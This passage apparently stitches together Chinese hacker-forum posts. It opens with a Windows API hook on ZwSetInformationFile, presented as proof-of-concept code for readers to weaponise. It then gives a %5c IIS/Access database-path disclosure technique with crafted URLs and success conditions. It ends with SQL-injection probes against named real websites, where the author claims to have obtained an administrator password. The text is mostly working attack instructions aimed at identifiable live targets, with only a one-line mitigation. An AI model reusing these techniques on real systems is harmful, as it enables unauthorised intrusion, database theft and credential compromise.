FileStandardInformation, // 5 wdm
FileInternalInformation, // 6
FileEaInformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FileRenameInformation, // 10
FileLinkInformation, // 11
FileNamesInformation, // 12
FileDispositionInformation, // 13
FilePositionInformation, // 14 wdm
FileFullEaInformation, // 15
FileModeInformation, // 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAllocationInformation, // 19
FileEndOfFileInformation, // 20 wdm
FileAlternateNameInformation, // 21
FileStreamInformation, // 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilePipeRemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotSetInformation, // 27
FileCompressionInformation, // 28
FileObjectIdInformation, // 29
FileCompletionInformation, // 30
FileMoveClusterInformation, // 31
FileQuotaInformation, // 32
FileReparsePointInformation, // 33
FileNetworkOpenInformation, // 34
FileAttributeTagInformation, // 35
FileTrackingInformation, // 36
FileMaximumInformation
// begin_wdm
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;

typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;

typedef NTSTATUS (__stdcall *ZWQUERYINFORMATIONFILE)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass
);

ZWQUERYINFORMATIONFILE ZwQueryInformationFile;

NTSTATUS __stdcall Hook_ZwSetInformationFile(IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass)
{
NTSTATUS ntstatus = STATUS_ACCESS_DENIED;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");
ZwQueryInformationFile = (ZWQUERYINFORMATIONFILE)GetProcAddress(hNtdll, "ZwQueryInformationFile");

IO_STATUS_BLOCK ioStatus;
FILE_NAME_INFORMATION * psi = {0};

psi = (FILE_NAME_INFORMATION*)new WCHAR[sizeof(FILE_NAME_INFORMATION) + 1024];
memset(psi, 0, (sizeof(FILE_NAME_INFORMATION) + 1024)*2);
psi->FileNameLength = 1024;

ntstatus = ZwQueryInformationFile(FileHandle, &ioStatus, psi, sizeof(FILE_NAME_INFORMATION) + 1024 * sizeof(WCHAR),

FileNameInformation);

if (ntstatus != STATUS_SUCCESS)
PrintZwError("ZwQueryInformationFile", ntstatus);

ntstatus = STATUS_ACCESS_DENIED;

if( wcsstr(psi->FileName, L"b.txt") == NULL)
ntstatus = ((PFZWSETINFORMATIONFILE)(PROC)g_ZwSetInformationFile)

(FileHandle,IoStatusBlock,FileInformation,FileInformationLength,FileInformationClass);

delete psi;
return ntstatus;


}

这只是一个证明性代码,要实战的兄弟自己动点手吧。

关于%5c的暴库利用想已经不是什么新技术了,原因我只找到含糊的说法:的UNICODE是%5c当提交时,IIS无法正常解析,导致暴库。但我对 http://www.hoky.org 测试成功后(现在已经补上)问过hoky.pro,得知%5c与IIS的设置是有关系的。而在默认设置下是可以暴库的。还有很多人说不成功,我要说的三点:

  1. 一般的错误返回页面是本地IE提供的,所以我们先得关了本地的错误页面,具体在菜单项的‘工具->internet选项->高级->显示友好信息’。
  2. 对方数据库要是Access型。
  3. %5c的暴库需要的是二级目录,一级目录无法成功。如:

http://www.sometips.com%5c1.asp?id=1 不成功
http://www.sometips.com/other%5c1.asp?id=1 成功

好了,上面说的大家都知道,当是废话。在暴库这么好用的东西下,如果一个网站只有一级目录的话,难道就没有办法了吗?说到重点,其实一级目录我们也同样可以成功的,我们可以通过构造一个多级目录来达到暴库的目的。

http://www.target.com/noexists/..%5clist.asp?id=1

这样大家就会有新的惊喜了,呵呵。

补救方法也很简单,在conn.asp里 加入数据库文件的位置后面加上这句:

1
On Error Resume Next

就可以了。


今天在黑基又看到了关于%5c暴库的文章,这招真的很管用,大概10个网站里会有一个会暴库吧。

关于这个漏洞。绿盟有相关的资料:
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=952

呵呵。虽然这个我们这个漏洞呵暴库关系不是很大, 但是明眼人还是看的出相关的地方,IIS 二次解码。大家知道在 url中 \/ 是一样的,也就是说 http://www.example.com/abc/123.asp?id=5http://www.example.com/abc\123.asp?id=5 是一样的。

http://www.example.com/abc%5c123.asp?id=5 经过一次解码后变成 http://www.example.com/abc\123.asp?id=5 这里是不会出错的。

而经过 IIS 二次解码后就变成 http://www.example.com/abc%5c123.asp?id=5, 如果数据库连接文件用的相对路径的话。HOO, 找不到数据库文件,当然就出错了。还很老实呢,连物理路径都出来了。大家看。

1
2
3
4
5
Microsoft JET Database Engine 错误 '80004005'

'D:\wwwroot\hell\wwwroot\data\abc.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/blog/conn.asp,行29

这个是我暴 Oblog 暴出来的,这个月的黑防大家都有看吧。(早知道我也去投稿了,我发现的比他早多了,郁闷)
很多人都在分析成功的条件,就象itbbs里的人讨论的一样。(itbbs最近我怎么上不去啊,知道告诉我)

sykkk 认为:

  1. 是数据库连接中没有加入容错代码 所以导致错误不能跳过而活生生的把数据文件连接暴出来
  2. 对方的IIS没有关闭错误提示 只要关了错误提示就算你怎么暴也没有用
  3. 不一定要2级目录 可以自己够造个noexists/..%5C的2级目录
  4. 还有就是 要成功一定要调用到数据库 不一定是5c1.asp?id=1 这种类别的

其实还有一个必要条件他忘了,数据库要相对路径,绝对路径是暴不出来的。还有我补充一点应该是 IIS 4.0 或者 IIS 5.0 ,IIS 6 应该是不行了。

关于二级目录,我同意sykkk的看法,有的人说一定是二级目录,呵呵,我可以告诉大家那是错误的。应该是最靠近的asp文件的那个 “/“ 改成 “%5c”, 只有有调用数据库都有可能暴库。哈哈,还有当然对方要没有屏蔽错误信息,要不然你是肯定看不到的。

总结:%5c暴库成功条件

  1. 对方服务器用的是 IIS 4.0 或 IIS 5.0, 并且没有屏蔽错误信息。
  2. 是数据库连接中没有加入容错代码 所以导致错误不能跳过而活生生的把数据文件连接暴出来 (On Error Resume Next)
  3. 应该是Microsoft JET Database Engine 方式
  4. 数据库文件调用用的是相对路径!!

不一定要求是二级目录。三级也是可以的(我有成功过), 二级目录有时候反倒没成功。至于还有构造二级目录,我是没成功过,嘿嘿,应该是错误的。:)

随便也告诉大家,aspx %5c 也有文章的,运用也很巧妙,想知道就 google吧。^_^

最近sql inject 可是说是红遍了整个中国,不知道多少网站在sql inject 面前轰然倒下,其实 Sql inject 在国外技术已经很成熟了,而国内则是在近一两年内慢慢走向成熟。在一个个惨痛的实例面前,脚本工作者不得不重视起来,最好的例子就是动网了。然而今天脚本是不是就很安全的呢。请看我对几个安全站点的测试结果。结果是令人吃惊的, 影子鹰, 华夏, 黑客动画吧 都存在着这个站内搜索的漏洞。

请看一段常见的站内搜索写法。

例一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<form name="form4" method="post" action="search.asp">
<tr>
<td height="25"> <div align=center>
<input type="text" name="txtfind" size="18" onMouseOver="javascript:this.select();" value="请输入待查信息" style="border:#333333 1px solid;">
</div></td>
</tr>
<tr>
<td> <div align=center><img height=5 src="../images/left_2.gif" width=186></div></td>
</tr>
<tr>
<td height="30"> <div align=center>
<select name="s1">
<option selected value='0'>所有类别</option><option value='1'>网站新闻</option>
<option value='2'>进阶教程</option>
<option value='3'>安全漏洞</option>
<option value='5'>系统防范</option>
<option value='6'>原创作品</option>
</select>

上面的这段来自影子鹰安全网, 也许看了人说没什么的啊,我也是这么写的,这和sql inject 有什么关系啊。
其实问题就出在这, 搜索类别的值是从客户端获得的,而且没有过滤。那么聪明的你是否想到了什么?

我们可以构造一个url http://www.cnhacker.cn/search.asp?s1=1 得到的结果是:

页面返回正常,得到一大堆的搜索结果。

提交 http://www.cnhacker.cn/search.asp?s1=1 and 1=1 返回正常
提交 http://www.cnhacker.cn/search.asp?s1=1 and 1=2 没有搜索到任何相关文章 ,请重新搜索

哈哈,可以注入!像这些安全站点密码一定n变态,还是用nb跑跑吧。后面也证明了我的想法是正确的密码n变态,还好没手工猜。拿到了管理员的密码,就是找不到后台郁闷。

例二:

1
<a href='Soft_Class.asp?ClassID=11'>安全扫描</a></li><br><li><a href='Soft_Class.asp?ClassID=12'>嗅探监听</a></li><br><li><a href='Soft_Class.asp?ClassID=13'>分析检测</a></li><br><li><a href='Soft_Class.asp?ClassID=14'>字典文档</a></li><br><li><a href='Soft_Class.asp?ClassID=15'>加密破解</a></li><br><li><a href='Soft_Class.asp?ClassID=16'>木马类</a></li><br><li><a href='Soft_Class.asp?ClassID=17'>QQ类</a></li><br><li><a href='Soft_Class.asp?ClassID=18'>综合工具</a></li>

上面代码来自黑客动画吧,令人吃惊的直接就是classID= 根本就没有过滤。分析完上面的代码,和其他的一些代码综合起来, 我们又可以构造这样的url:

http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8

结果返回也是一定堆的搜索结果。。。

提交 http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 and 1=1 返回正常
提交 http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 and 1=2 产生错误的可能原因:

HOO,漏洞又出来了!

例三:

来个大家都知道的华夏黑客联盟,前段时间还被黑了一次。还是看代码吧,听说华夏用的是动力的商业版。可以华夏今天又上不去,反正原理是相同的。我把我构造好的url 给大家看

http://www.77169.org/soft1/search.asp?ss_name=winrar&sor=01

接下来要怎么发挥就看你们的了。

总结:这个漏洞应该有一定的普遍性,黑窝里安全站点都有这个问题,更别说是其他站点了。或许有些大虾早就发现了,
小弟就在这献丑一下了,第一次写文章,有所差错在所难免,欢迎和我联系。